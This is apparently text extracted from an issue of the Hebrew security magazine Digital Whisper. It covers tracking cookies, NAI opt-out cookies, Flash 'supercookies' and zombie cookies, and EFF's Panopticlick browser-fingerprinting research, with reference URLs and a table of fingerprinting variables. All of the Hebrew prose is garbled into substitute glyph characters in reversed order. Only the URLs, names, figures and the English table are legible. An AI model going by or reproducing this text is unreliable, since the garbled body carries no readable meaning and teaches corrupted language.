)tracking cookies( ,˫˧˷˪ˣˠˢ ˪˰ ˡˣˬ˪˪ ˧ˡ˩˟ ˷ˣˬ˧˷ ˭ˢ˟ ˫˧˷ˣ˰ ˫˧ˬ˯˶˲ˬ˷ ˢ˪˞ ˣˬ˩ . ˢ˪˞ ˸ˣ˰˲ˣ˸

˪ ˣ˞˧˟ˢ˫˧˶˵˥ˬ ˫˧ˮˣ˷ ˦ˮ˶˦ˮ˧˞˟ ˠˮ˧˦˧˧˶ ˫˧ˡˡˣˬˢ ˫˧˲ˣˠ ˪˷ ,ˢ ˢ˦˧˷ˢ ˪˰ ˸ˡˬ˸ˬ ˸ˣ˷˸˩˸ˢ˟"ˢˮˣ˩ˮ "

ˡˣˡˬ˪. 

 ˭ˣˠ˶˞NAI )Network Advertising Initiative( , ˫ˠ ˶˞˷ˢ ˭˧˟ ˪˪ˣ˩ˢ ˭ˣˣ˵ˬ ˵ˣˣ˧˷ ˸ˣ˶˟˥ ˸ˣ˶˷˰ ˪˷ ˡ˧ˠ˞˸

˪ˠˣˠ ˸˞ ,˦˲ˣ˯ˣ˶˵˧ˬ ,-x Yahoo! , ˵˲˯ˬ ˱ˡOpt-out ˧˪˪˩  ˫ˮ˧˞ ˧˩ ˤ˧˶˩ˢ˪ ˫˧˷ˬ˸˷ˬ˪ ˶˷˲˞ˬˢ

 ˱˞ˬ ˡ˵ˣˬˬ ˫ˣ˯˶˲˟ ˫˧ˮ˧˧ˮˣ˰ˬ ˸ˣ˶˟˥ˢˬ ˸˥˞)˭˟ˣˬ˩ ˸ˣˬˣ˯˶˲ ˪˟˵˧ ˭˧˧ˡ˰ ˷ˬ˸˷ˬˢ , ˞˪ ˶˟˩ ˭ˢ ˨˞

˸˧˷˧˞ ˣ˧˪˞ ˸ˣˬ˞˸ˣˬ ˣ˧ˢ˧ .( ˸˧˧ˠˣ˰ ˟˷˥ˬ˟ ˶˴ˣˣ˧˸ ˢˤ ˢ˶˵ˬ˟Opt-out , ˡ˧ˠ˞˸˟ ˸ˣ˶˟˥ˢ ˪˩ ˢ˸ˣ˞

˸ˣˡ˟˩ˬˣ ˸ˣˢˤˬ .˪˪˩ ˸ˣ˧ˠˣ˰ ˣ˶˴˧ ˞˪ ˫˧˶˸˞ˢ˷ ˥˶˩ˢ˟ ˢ˥˧˦˟ˬ ˢˮ˧˞ ˣˤ˩ ˢ˧˧ˠˣ˰ ˸˶˧˴˧ , ˵˶ ˞˪˞

˶˲ ˨˶ˣ˴˪ ˣ˷ˬ˷˧ ˞˪ ˸ˣ˧ˠˣ˰ˢ˷˭ˣˣ˵ˬ ˫ˣ˯ .ˢ ˸˲ˡ˰ˢˣ ˶˥˞ˬ ˧˩ ˭˧˧˴˪ ˷˧-Opt out  ˸ˣ˰˴ˬ˞˟ ˸˞˦ˣ˟ˬ

ˢ˧˧ˠˣ˰ ,ˢ ˸˪ˣ˰˲ ˪ˣ˦˧˟ ˸˞ ˶ˣ˶ˠ˸ ˭˲ˡ˲ˡ˟ ˸ˣ˧ˠˣ˰ ˸˵˧˥ˬ-Opt out . 

 ˸ˣ˧ˠˣ˰ ˪˰ ˶˸ˣ˧ ˧ˮ˩˦ ˰ˡ˧ˬ˟ ˫˧ˮ˧˧ˮˣ˰ˬˢ ˢ˪˞˪HTTP ,˟ ˞˷ˣˮ˟ ˶ˬ˞ˬ ˞ˣ˶˵˪ ˫˧ˮˬˤˣˬ ˫˩ˮˢ˧ˮ˷ ˫˧˵˪˥ ˟-

Infosecwriters.com. 

http://www.comscore.com/Press_Events/Presentations_Whitepapers/2007/Cookie_Deletion_Whitepaper
http://www.quantcast.com/white-papers/quantcast-cookie-corrected-audience-white-paper.pdf
http://www.networkadvertising.org/managing/opt_out.asp
http://www.infosecwriters.com/text_resources/pdf/CookieCorePartA.pdf
http://www.infosecwriters.com/text_resources/pdf/CookieCorePartB.pdf


 

 

˭ˣ˶˥˞ˢ ˳˧˵˟ ˸˷˪ˠ ˭˞˪ ˰ˡˣ˧ ˧ˮ˞ 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ12 ,˶˟ˬ˦˲˯ 2010  38 

 

 ˸ˣ˧ˠˣ˰Flash 

 

ˢ˶ˣ˞˩˪ ,ˠ ˡ˴ ˸ˣ˧ˠˣ˰ ˸ˬ˧˯˥ ' ˡˣˬ˪˪ˣ ˣˮ˪˷ ˢ˷˧˪ˠˢ ˸ˣ˧ˮ˟˸ ˶˥˞ ˟ˣ˵˰˪ ˫ˢ˧ˮ˧ˬ˪ ˫˧ˬ˯˶˲ˬˬ ˰ˣˮˬ˪ ˢ˪ˣ˩˧

ˮ˞ ˧ˬˣˮ˥ . ˭ˮ˷˧ˬ ˸ˣ˩˶˰ˢ-2007 ˪ ˪˰ˬ ˧˩-30%  ˱˞ˣ ˫ˢ˪˷ ˸ˣ˧ˠˣ˰ˢ ˸˞ ˫˧˵˥ˣˬ ˫˧˷ˬ˸˷ˬˢˬ

˸ˣˮˣ˷ ˸ˣ˩˶˰ˢ ˫˧˵˲˯ˬ ˫˧ˮˣ˷ ˫˧˶˵˥ˬ˷ ,ˬˮ ˸ˣ˧ˠˣ˰ˢˬ ˢˣ˟ˠ ˤˣ˥˞˷ ˫˧˰ˡ ˧ˬ˧ˬ˸ ˫˪ˣ˩ ˨˩ ˸ˣ˶˧ˡ˸˟ ˵˥

˸ˣ˧ˠˣ˰˪ ˸˶˟ˣˠˢ ˸ˣ˰ˡˣˬˢˣ ˤ˞ˬ ˶˟˰˷ ˭ˬˤˢ ˶ˣ˞˪˷ ,˫˧˪ˡˠ ˢ˪˞ ˫˧ˤˣ˥˞˷ ˥˧ˮˢ˪ ˶˧˟˯ .˭˩ ˧˲ ˪˰ ˱˞ , ˧ˡ˧˟

˶˧ˡ˸ ˷ˣˬ˧˷ ˫˧˷ˣ˰ ˫ˢ ˣ˟ ˟˵˰ˬ˪ ˱˯ˣˮ ˧˰˴ˬ˞ ˫˧ˬ˯˶˲ˬˢ-  ˸ˣ˧ˠˣ˰Flash . ˸ˣ˧ˠˣ˰˪ ˡˣˠ˧ˮ˟HTTP , ˸ˣ˧ˠˣ˰

Flash ˸ˣ˶˩ˣˬ ˸ˣ˥˲ ˭ˮ˧ˢ ,ˢ˧ˠˣ˪ˣˮ˩˦ ˧˷ˮ˞˪ ˣ˪˧˲˞ ,ˡˣˬˢ ˧˩ ˫˞˶ˣ˟˧˴˪ ˪˥˪˥˪ ˢ˪˧˥˸ˬ ˭ˬˣ˧˵˪ ˸ˣ˰ . ˸˧˧ˠˣ˰

Flash , ˫˷˟ ˢˮˣ˩ˬˢLSO )Local Shared Object ( ˫ˠ ˫˧˸˧˰˪ˣsupercookie  , ˱˯ˣ˸˷ ˳˟ˣ˵ ˢˮ˧ˢAdobe 

Flash ˷ˬ˸˷ˬˢ ˟˷˥ˬ ˪˰ ˵˧ˤ˥ˬ . ˸˧˧ˠˣ˰˪ ˢˬˣˡ ˭˲ˣ˞˟ ˪˰ˣ˲ ˢˤ ˳˟ˣ˵HTTP .˷ ˶˧˩ˤˢ˪ ˫ˣ˵ˬˢ ˢˤ˪˰- ˧˲

 ˸˶˟˥Adobe , ˧ˮˣ˧˪ ˭ˣ˩ˮ2010  ,-˩99%  ˫˧˵ˣˣ˷˟ ˦ˮ˶˦ˮ˧˞˪ ˢ˷˧ˠˢ ˧˪˰˟ ˫˧˧ˮ˥˪ˣ˷ˢ ˫˧˟˷˥ˬˢˬ

˟ ˫˧˩ˬˣ˸ ˫˧˥˸ˣ˲ˬˢ-Flash . ˸˧˧ˠˣ˰Flash  ˭˩ˣ˸ ˱ˡ˪ ˭˰ˣ˦ ˶˸˞ ˶˷˞˩ ˶˴ˣˣ˧ˢ˪ ˢ˪ˣ˩˧Flash ) ˶˸˞ˢ ˪˷

ˠ ˡ˴ ˭˩ˣ˸ ˣ˞ ˣˬ˴˰ ,'˸ˣˬˣ˯˶˲ ˪˷ ˫˧˶ˮ˞˟ ˭ˣˠ˩ .(˟˟˪ˡ˥ˬˢ ˸˶˧˶ , ˸ˣ˧ˠˣ˰Flash  ˪˷ ˪ˡˣˠ˟ ˸ˣ˧ˢ˪ ˸ˣ˪ˣ˩˧

 ˡ˰100Kb , ˧˲25  ˸˧˧ˠˣ˰ˬHTTP ,ˢˠˣ˲˸ ˨˧˶˞˸ ˭ˢ˪ ˭˧˞ˣ . ˸ˣ˧ˠˣ˰˪ ˡˣˠ˧ˮ˟HTTP , ˸ˣ˧ˠˣ˰Flash  ˭ˮ˧˞

˪˰ ˸ˣ˪ˢˣˮˬ-˭˲ˡ˲ˡˢ ˧ˡ˧ .˸ˣ˟ˣ˷˥ ˸ˣ˩˪˷ˢ ˶˲˯ˬ ˨˩˪ ˷˧ : ˟˷˥ˬ ˣ˸ˣ˞ ˪˰ ˫˧ˮ˵˸ˣˬˢ ˫˧ˮˣ˷ ˫˧ˮ˲ˡ˲ˡ

 ˸ˣ˧ˠˣ˰ ˭˸ˣ˞˪ ˣ˷ˠ˧Flash , ˡˣˠ˧ˮ˟ ˸ˣ˧ˠˣ˰˪HTTP ˪˰ ˡ˶˲ˮ˟ ˸ˣ˪ˢˣˮˬˢ-˭˲ˡ˲ˡ ˪˩ ˧ˡ˧ ; ˸ˣ˧ˠˣ˰ ˸˵˧˥ˬHTTP ,

˪˰ ˭˯˥ˣ˞ˬˢ ˞ˣˢ˷ ˰ˡ˧ˬ ˪˩ ˸˵˧˥ˬ ˣ˞ ˭˲ˡ˲ˡ ˸˧˧˶ˣ˦˯˧ˢ- ˸ˣ˧ˠˣ˰ ˪˰ ˪˪˩ ˰˧˲˷˸ ˞˪ ˭˲ˡ˲ˡˢ ˧ˡ˧Flash .

 ˸ˣ˧˦˶˲ ˟˴ˬ˟ ˢ˷˧˪ˠ ˣ˪˧˲˞)Private Browsing( ,˭˲ˡ˲ˡ ˧˲˯ˣ˸ˣ ˸ˣ˧ˠˣ˰ ˸˪˶˦ˮˬˢ , ˭˸ˣ˪˧˰˲ ˸˞ ˸˰ˮˣˬ ˞˪

˸ˣ˧ˠˣ˰ ˪˷ Flash. 

 ˸ˣ˧ˠˣ˰˪Flash ˫˧ˮˣ˷ ˫˧˷ˣˬ˧˷ , ˪ˣ˵ˢ ˸ˬ˴ˣ˰ ˶ˣ˟˰ ˷ˬ˸˷ˬˢ ˸ˣ˲ˡ˰ˢ ˸˶˧ˬ˷ ˫ˢ ˫ˢ˟˷ ˫˧˴ˣ˲ˮˢ ˶˷˞˩

 ˣ˞ˡ˧ˣ ˭ˠˮ ˪˷Flash , ˸˷˶ ˶ˣ˟˧˥ ˪˰ˬ ˶˸ˣ˧ ˫˧˟ˣ˦ ˫˧˰ˣ˴˧˟ ˨˶ˣ˴˪ ˢ˵˧˯ˣˬ ˳˟ˣ˵ ˪˷ ˧ˬˣ˵ˬ ˭ˣˬ˦ˬ ˸˶˧ˬ˷

˧˦˧˞ .˸˞ˤ ˫˰ ˡ˥˧ , ˸ˣ˧ˠˣ˰˟ ˷ˣˬ˧˷ ˢ˷˰ˮFlash ˫˧˷ˬ˸˷ˬ ˶˥˞ ˟˵˰ˬ ˨˶ˣ˴˪ ˫ˠ .ˢ˷˰ˬ˪ ,˟ ˶˟˩-2005 

 ˫˷˟ ˢ˶˟˥United Virtualities ˢˬ˯˶˲  ˸ˣ˧ˠˣ˰˟ ˢ˷ˣ˰ ˞˧ˢ˷ ˷ˣˬ˧˷ˢ ˸˞Flash  ˸ˣ˧ˠˣ˰˪ ˧ˣ˟˧ˠ˩HTTP ï 

 ˸ˣ˧ˠˣ˰ ˫˞HTTP ˸ˣ˵˥ˬˮ ˣ˧ˢ ˸ˣˬ˧˧ˣ˯ˬ ,ˢ ˭˩˶˰ ˸ˣ˧ˠˣ˰ ˨ˣ˸ˬ ˶ˤ˥ˣ˷ˬ ˢ˧Flash ˫˧ˬˣˡ ˫˧˩˶˰ ˣ˵˧ˤ˥ˢ˷ . 

ˬ ˶˵˥ˬ˟-2009 ˢ˧ˮ˶ˣ˲˧˪˵˟ ˧˪˵˶˟ ˸˦˧˯˶˟˧ˮˣ˞˟ , ˸˞ ˣˮ˥˟ ˫˧˶˵ˣ˥100  ˫˧˪˧˟ˣˬˢ ˫˧˶˸˞ˢ)˪˰-  ˧˲

 ˠˣ˶˧ˡQuantCast ( ˸ˣ˧ˠˣ˰˟ ˫˧˷ˣ˰ ˫ˢ˷ ˷ˣˬ˧˷ˢ ˸˞ ˣ˵ˡ˟ˣFlash . ˨ˣ˸ˬ100 ˫˧˶˸˞ˢ ,54  ˷ˣˬ˧˷ ˣ˷˰

 ˸ˣ˧ˠˣ˰˟Flash ) ˣ˶˴ˣˮ157 ˰ ˫˧˴˟˵ ˫281  ˸ˣ˧ˠˣ˰Flash( ,-x98  ˸ˣ˧ˠˣ˰ ˣ˶˴˧HTTP )˨˯- ˪˩ˢ3602  ˸ˣ˧ˠˣ˰

HTTP( , ˣ˧ˢ ˫˧ˠ˧˶˥ˢ ˧ˮ˷ ˶˷˞˩Wikipedia x-Wikimedia.org .ˢ ˸˧˧ˠˣ˰ ˫˷˷ ˸ˣ˶ˬ˪-Flash  ˶˸ˣ˧˟ ˳ˣ˲ˮˢ

 ˢ˧ˢVolume , ˣˬ˩ ˸ˣ˧ˠˣ˰ ˸ˣˬ˷ ˪˷ ˶˸ˣ˧˟ ˢ˟˥˶ ˢ˴ˣ˲˸ ˢ˞˴ˬˮuserid ,user x-id , ˷ˬ˷˪ ˸ˣ˧ˣ˷˰˷

http://www.comscore.com/Press_Events/Presentations_Whitepapers/2007/Cookie_Deletion_Whitepaper
http://www.adobe.com/products/player_census/flashplayer/
http://www.adobe.com/products/player_census/flashplayer/
http://www.informationweek.com/news/security/privacy/showArticle.jhtml?articleID=160400801
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˸˷ˬˢ ˧˶˥˞ ˟˵˰ˬ˪˷ˬ .˱˯ˣˮ˟ ,ˬ ˵˪˥-100  ˸ˣ˧ˠˣ˰˟ ˫˧˷ˬ˸˷ˬ ˣ˪˞ ˫˧˶˸˞Flash  ˸ˣ˧ˠˣ˰ ˸ˣ˧˥ˢ˪ ˧ˡ˩

HTTP ˪˰ ˣ˵˥ˬˮ˷-˫˧˷ˬ˸˷ˬˢ ˧ˡ˧. 

 ˶˸˞˟ ˧˩ ˭˧˧˴˪ ˭˧˧ˮ˰ˬNAI  ˸ˣ˧ˠˣ˰˟ ˷ˣˬ˧˷ ˸ˣ˷ˣ˰ ˞˪ ˡ˧ˠ˞˸˟ ˸ˣ˲˸˸˷ˬˢ ˸ˣ˶˟˥ˢ˷ ˟˸˩ˮFlash  ˨˶ˣ˴˪

ˡ˵ˣˬˬ ˫ˣ˯˶˲ .˸˞ˤ ˫˰ ,˶˵˥ˬˢ ˰ˣ˴˧˟ ˭ˬˤ˪ ˭ˣ˩ˮ , ˸˶˟˥ ˧˩ ˶˶˟˸ˢQuantCast ,˟ ˢ˶˟˥ˢ-NAI , ˭˧˧ˡ˰

 ˸˧˧ˠˣ˰˟ ˷ˣˬ˧˷ ˢ˸˷˰Flash ˢ ˸˧˧ˠˣ˰˷˩ ˫ˠ-Opt out  ˪˷NAI ˸˥˩ˣˮ ˢ˸˧˧ˢ .˸ˣ˧ˠˣ˰ ˸˵˧˥ˬ ˶˥˞˪ ,

QuantCast ˢ ˸˧˧ˠˣ˰ ˸˞ ˢ˶ˤ˥˧˷-HTTP ˢ ˸˧˧ˠˣ˰ ˨ˣ˸ˬ ˢ˪˷-Flash )ˢ ˸˧˧ˠˣ˰-Opt out  ˞˪ ˢ˵˥ˬˮ˷

ˢ˶ˤ˥ˣ˷ .(˶˵˥ˬˢ ˸ˣ˟˵˰˟ , ˦˯ˣˠˣ˞˟2009 ˸˞˧˧˥ˢ ˠˢˮˬ ˸˞ ˢ˶˟˥ˢ ˢ˵˧˯˲ˢ ˢ˪˷ ˸ˣ˧ˠˣ˰ˢ . ˸ˣ˶ˬ˪

˸˞ˤ ,˭ˣ˶˥˞ˢ ˧˪ˣ˧˟ ˸˧ˠˣ˴˧˧ ˢ˰˧˟˸ ˫˧˲˯ˣˮ ˫˧˶˸˞ ˡˠˮˣ ˢˡˠˮ ˢ˷ˠˣˢ  ˧˟˷˥ˬ˪ ˸˧˵ˣ˥ ˧˸˪˟ ˢ˶˧ˡ˥ ˭˧ˠ˟

˫˧˷˪ˣˠˢ . ˷ˡˣ˥ˢ ˡˠˮ ˸˲˯ˣˮ ˢ˰˧˟˸ ˢˬ˯˶˲˸ˢClearSpring ,˫˧˲˯ˣˮ ˫˧˶˸˞ˣ ˧ˮ˯˧ˡ , ˧˩ ˢˮ˰˦˟

 ˸ˣ˧ˠˣ˰˟ ˣ˷ˬ˸˷ˢFlash ˦ˮ˶˦ˮ˧˞ˢ ˧˟˥˶˟ ˫˧ˡ˪˧ ˪˷ ˢ˷˧˪ˠˢ ˧˯ˣ˲ˡ ˶˥˞ ˟ˣ˵˰˪ ˸ˮˬ ˪˰. 

 ˸ˣ˧ˠˣ˰ ˪˰ ˰˧˲˷ˬ ˭ˮ˧˞ ˭˲ˡ˲ˡ˟ ˸ˣ˧˦˶˲ˢ ˸ˣ˶ˡˠˢ˷ ˸ˣ˶ˬ˪Flash ,˭˸˶˧˴˧ ˸˞ ˰ˣˮˬ˪ ˨˶ˡ ˢˮ˷˧ , ˟ˣ˶˷ ˨˶ˡ

ˢ˧˪˞ ˫˧˰ˡˣˬ ˫ˮ˧˞ ˫˧˷ˬ˸˷ˬˢ . ˸˶˟˥Adobe  ˢ˪˷ ˶˸˞˟ ˸˵˲˯ˬ ˸ˣ˧ˠˣ˰ ˪˰ ˦ˣ˪˷˪ ˶˷˲˞ˬˢ ˱ˡ

Flash ,ˠ ˡ˴ ˸ˣ˧ˠˣ˰ ˸˶˧˴˧ ˰ˣˮˬ˪ ˫ˠ ˶˞˷ˢ ˭˧˟ˣ' . ˸ˬ˧˯˥ ˟˵˰ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸ˣ˧˰˟ ˭˧˞ ˫˧˶˸˞ˢ ˟ˣ˶˟

 ˸ˣ˧ˠˣ˰Flash ˠ ˡ˴' . 

 

 

˫˧ˮ˲ˡ˲ˡ ˪˷ ˸ˣ˧ˡˣ˥˧˧ 

 

˭˩ ˫˞ ,ˬ˪ ˧ˡ˩ ˫˧˰˴ˬ˞ ˦ˣ˵ˮ˪ ˪ˣ˩˧ ˸˷˶˟ ˣ˧˸ˣ˪ˣ˰˲ ˶˥˞ ˣ˵˥˸˧˷ ˭˧˧ˮˣ˰ˬ ˣˮ˧˞˷ ˫˩˥ˣ˸ˬˢ ˷ˬ˸˷ˬˢ ˰ˣˮ

 ˸ˣ˧ˠˣ˰ ˸ˣ˰˴ˬ˞˟ ˟˵˰ˬHTTP  ˸ˣ˧ˠˣ˰ˣFlash .˪ˤˬˢ ˰ˣ˶˪ , ˸ˣˢˤ˪ ˣ˪˩ˣ˧ ˭˧˧ˡ˰ ˫˧˧ˮ˷˵˰ ˫˧˶˸˞ ˢ˞˶ˮˢ ˪˩˩

˸˧ˡˣ˥˧˧ˢ ˣ˸ˣ˪˧˰˲ ˸˞. 

 ˭ˣˠ˶˞EFF )Electronic Frontier Foundation( , ˪˰ ˢˮˠˢ˪ ˪˰ˣ˲ˢ ˥ˣˣ˶ ˸ˮˣˣ˩ ˞˪˪ ˧˞˵˧˶ˬ˞ ˭ˣˠ˶˞

˫˧ˮ˩˶˴ˢ ˡˢ ˫˪ˣ˰˟˧˪˦˧ˠ˧ , ˣ˸˧˞˷ ˭˲ˡ˲ˡˢ ˧ˡˣ˥˧˧ ˢˬ˩ ˡ˰ ˭ˣ˥˟˪ ˡ˰ˣˮ˷ ˭˧˧ˮ˰ˬ ˧ˣ˯˧ˮ ˢˮˣ˶˥˞ˢ ˢˮ˷˟ ˰˴˧˟

˦ˮ˶˦ˮ˧˞˟ ˫˧˷˪ˣˠ ˣˮ˞ .˧ˣ˯˧ˮˢ ˶˸˞ ,http://panopticlick.eff.org , ˫˧˷ˬ˸˷ˬ˪ ˶˷˲˞ˬˣ ˪˧˰˲ ˭˧˧ˡ˰

˧ˡˣ˥˧˧ ˫ˢ˪˷ ˭˲ˡ˲ˡˢ ˢˬ˩ ˡ˰ ˵ˣˡ˟˪ˣ ˷ˣ˪ˠ˪ . ˧˞ˬ˟2010  ˞˧˴ˣˢ ˭ˣˠ˶˞ˢˣˡ"˫ˢ˧˞˴ˬˬ ˸˞ ˫˩˯ˬˢ ˥  ˧˲˪

 ˭ˬˤ ˣ˸ˣ˞˪ ˡ˰ ˣ˲˯˞ˮ˷ ˫˧ˮˣ˸ˮˢï  ˸˪˪ˣ˩ˢ ˢˬ˧ˠˡ470,161 ˶˸˞˟ ˣ˶˵˧˟ ˫ˢ˧˪˰˟˷ ˫˧ˮ˲ˡ˲ˡ . ˫˧˞˴ˬˬ

 ˡˣ˞ˬ ˫˧˧ˡˣ˥˧ ˸ˣ˧ˢ˪ ˫˧˦ˣˮ ˫˧ˮ˲ˡ˲ˡ˷ ˫˧ˡ˧˰ˬ ˢ˪˞ï ˲ˡ˲ˡ ˶˥˟ˮ ˫˞˧˞˶˵˞˟ ˣˢ˷˪˩ ˭ , ˪˩˪˷ ˸ˣ˲˴˪ ˭˸˧ˮ

http://arstechnica.com/tech-policy/news/2010/07/privacy-lawsuit-targets-net-giants-over-zombie-cookies.ars
http://arstechnica.com/tech-policy/news/2010/08/lawsuit-disney-others-spy-on-kids-with-zombie-cookies.ars
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.macromedia.com/support/documentation/en/flashplayer/help/settings_manager02.html#118539
http://www.eff.org/
http://panopticlick.eff.org/
http://panopticlick.eff.org/browser-uniqueness.pdf
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 ˭˧˟ˬ ˡ˥˞˪ ˶˸ˣ˧ˢ286,777  ˫˧˶˥˞ ˫˧ˮ˲ˡ˲ˡ(!) ˫˧ˬˣˡ ˫˧ˮ˧˧˲˞ˬ ˣ˧ˢ˧ . ˭˲ˡ˲ˡˢ ˫˞ ˶˸ˣ˧ ˰ˣ˶ˠ ˟˴ˬˢ

˟ ˫ˠ ˨ˬˣ˸-Flash  ˣ˞Java , ˢˤ ˢ˶˵ˬ˟ˣ94.2% ˫˧˧ˡˣ˥˧ ˣ˧ˢ ˫ˠˡˬ˟ ˫˧ˮ˲ˡ˲ˡˢˬ . 

 

˫˧˶˸˞˪ ˫˧˵˲˯ˬ ˫˧ˮ˲ˡ˲ˡ˷ ˫˧ˮ˧˧˲˞ˬ ˱ˣ˯˧˞ ˪˰ ˨ˬ˸˯ˬ ˭˲ˡ˲ˡˢ ˧ˣˢ˧ˤ .˵˪˥  ˵˪˥ ˫ˢ ˢ˪˞ ˫˧ˮ˧˧˲˞ˬˬ

˦ˮ˶˦ˮ˧˞ ˱ˡ ˪˟˵˪ ˧ˡ˩ ˶˸˞˪ ˥˪ˣ˷ ˭˲ˡ˲ˡ˷ ˢ˷˵˟ˬ ˧˦˶ˡˮ˦˯ .˪˰ ˱ˣ˯˧˞˪ ˫˧ˮ˸˧ˮ ˫˵˪˥- ˸˴˶ˢ ˧ˡ˧

 ˷ˬ˸˷ˬˢ ˟˷˥ˬ˟ ˦˲˧˶˵˯)˷ˬ˸˷ˬˢ ˸˰˧ˡ˧ ˞˪˪ ˸˞ˤ ˸ˣ˷˰˪ ˭˸˧ˮ ˫˧˟˷˥ˬˢ ˟ˣ˶˟ .( ˢ˪˟˦ ˭˪ˢ˪

 ˣ˲˯˞ˮ˷ ˫˧ˮˣ˸ˮˢ ˸˞ ˸˶˞˸ˬˢ)ˣˡ˟ ˞ˣ˶˵˪ ˭˸˧ˮ ˣ˲˯˞ˮ˷ ˫˧ˮˣ˸ˮˢ ˧˟ˠ˪ ˶˸˧ ˦ˣ˶˧˲" ˥ ˪˷EFF:( 

Remarks Source Variable 

Contains Browser micro-

version, OS version, language, 

toolbars and sometimes other 

info 

Transmitted by HTTP, logged by 

server 

User Agent 

 Transmitted by HTTP, logged by 

server 

HTTP ACCEPT headers 

 Inferred in HTTP, logged by server Cookies enabled? 

 JavaScript AJAX Post Screen resolution 

 JavaScript AJAX Post Timezone 

Sorted before collection JavaScript AJAX Post Browser plugins, plugin 

versions and MIME 

types 

Not sorted Flash applet or Java applet, collected 

by JavaScript/AJAX 

System fonts 

 JavaScript AJAX post Partial supercookie test 

 

 



 

 

˭ˣ˶˥˞ˢ ˳˧˵˟ ˸˷˪ˠ ˭˞˪ ˰ˡˣ˧ ˧ˮ˞ 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ12 ,˶˟ˬ˦˲˯ 2010  41 

 

˧ˡˣ˥˧˧ ˭˲ˣ˞˟ ˭˲ˡ˲ˡ ˸ˣˢˤ˪ ˸˪ˣ˩˧˟ ˢ˧˰˟ˢ ˫˴˰˟ ˞˧ˢ ˢˬ ? ˟ˣ˵˰˪ ˸ˣ˶˷˲˞ ˫˧˶˸˞ ˧ˮ˲˟ ˸˥˸ˣ˲ ˣˤ ˸˪ˣ˩˧

˭ˢ˧ˮ˧ˬ˪ ˸ˣ˧ˠˣ˰ ˸˵˧˥ˬ ˭ˣˠ˩ ˸ˣ˶˧ˢˤ ˧˰˴ˬ˞ ˫˧˦˵ˣˮ ˫ˢ ˶˷˞˩ ˫ˠ ˫˧˷˪ˣˠˢ ˶˥˞  .ˢ˧˧ˠˣ˰ ˧˴˟˵ˬ ˪˧ˡ˟ˢ˪ ,

ˢ ˸ˣ˰˴ˬ˞˟ ˭˲ˡ˲ˡ ˧ˣˢ˧ˤ"ˢˬ˧˸˥ "˷ˬ˸˷ˬˢ ˪˷ ˟˷˥ˬˢ ˪˰ ˫˸ˣ˥ ˪˩ ˢ˶˧˞˷ˬ ˞˪ ˣ˪˷ ,˯ˬˣ ˪˰ ˨ˬ˸

ˢ˷˧˪ˠ ˸˰˟ ˦ˮ˶˦ˮ˧˞˪ ˥˪ˣ˷ ˭˲ˡ˲ˡ ˪˩˷ ˫˧˧˦˶ˡˮ˦˯ ˫˧ˮˣ˸ˮ. 

 ˧ˡ˧ ˪˰ ˣ˲˯˞ˮ˷ ˫˧ˮˣ˸ˮˢ˷ ˭˧˧˴˪ ˟ˣ˷˥EFF  ˢ˦ˣˬ ˫ˠˡˬ ˫ˢï  ˣ˟ˡˮ˸ˢ˷ ˫˧˷ˬ˸˷ˬˢ˷ ˥˧ˮˢ˪ ˶˧˟˯

 ˪˷ ˶˸˞˪ ˷ˣ˪ˠ˪EFF ˫˧ˬ˩˥ˣ˸ˬ ˫˧˷ˬ˸˷ˬ ˫ˢ ˧ˣ˯˧ˮˢ ˸˟ˣ˦˪ , ˧˪˰˟ˣ ˸ˣ˧˦˶˲˪ ˢˢˣ˟ˠ ˸ˣ˰ˡˣˬ ˧˪˰˟

˧˯ˣ˪˩ˣ˞ˢ ˪˷ ˢ˪˞ˬ ˫˧ˮˣ˷ ˫˧ˮ˧˧˲˞ˬ ˸˧˪˪˩ˢ ˢ)˪˷ˬ˪ , ˧˲ ˶˸˞˪ ˣ˷ˠ˧ˮ4.5  ˧ˮ˲ˡ˲ˡFirefox  ˶˷˞ˬ

Internet Explorer , ˢ˧˯ˣ˪˩ˣ˞ˢ ˪˪˩˟˷ ˡˣ˰˟IE ˶˸ˣ˧˟ ˪ˣˡˠˢ ˵ˣ˷ˢ ˥˸ˮ ˸˞ ˵˧ˤ˥ˬ .(˸˞ˤ ˫˰ , ˫ˣ˵ˬ ˷˧

 ˧ˡ˧ ˪˰ ˟˵˰ˬˬ ˰ˮˬˢ˪ ˸ˮˬ ˪˰ ˫˧˰˴ˬ˞ ˣ˪˧˰˲˧ ˧˩ ˶˸ˣ˧ ˶˧˟˯˷ ˢ˪˞ ˫ˠ ˫ˢ ˫˧˷ˬ˸˷ˬ ˫˸ˣ˞˷ ˥˧ˮˢ˪

˸ˣ˧ˠˣ˰ , ˡ˰˧ ˫ˢ ˭˩˪ˣ"˨˷ˣˬ "ˢˤ˩ ˠˣ˯ˬ ˧ˣˢ˧ˤ˪ ˶˸ˣ˧. 

˧˪˯˵ˣˡ˶˲ ˭˲ˣ˞˟ ,˶˸ˣ˧ ˢ˪˵˪ ˧ˣˢ˧ˤˢ ˸˩˞˪ˬ ˸˞ ˨ˣ˲ˢ˪ ˫˧˪ˣ˩˧ ˸ˣ˧˦˶˲ˢ ˶ˣ˲˧˷˪ ˫˧˰˴ˬ˞ ˞˵ˣˣˡ ˫˧˸˧˰˪ .

˪˷ˬ˪ , ˢˡ˷ ˱ˣ˧ˤUser Agent ˧ˣˢ˧ˤ˪ ˸ˣ˪˵ˣ ˸ˣ˧ˡˣ˥˧ ˭˲ˡ˲ˡ ˸ˣˬ˧˸˥ ˶ˣ˴˧˪ ˪ˣ˩˧ ˥˪ˣ˷ ˭˲ˡ˲ˡˢ˷ , ˣˬ˩

˟ ˫˧˩ˬˣ˸ˢ ˭ˣ˲˧˧˞ ˧ˮ˲ˡ˲ˡ-Flash )˸ˣ˞˧˴ˬ˟ ˸ˬ˧˧˵ ˞˪˷ ˢ˧˥.(  ˫˧ˬ˯ˣ˥ˢ ˭˲ˡ˲ˡ ˧˲˯ˣ˸Flash  ˫ˢ ˱˞

˫˧˧ˡˣ˥˧ .˸˞ˤ ˫˰ , ˯˵ˣ˲˶˧˧˲ˢ ˧˲˯ˣ˸ ˧˩ ˣˮ˧˧˴ ˫˧˶˟˥ˬˢTorButton x-NoScript  ˢˮˠˢ ˧˰˴ˬ˞˩ ˣ˶˶˟˸ˢ

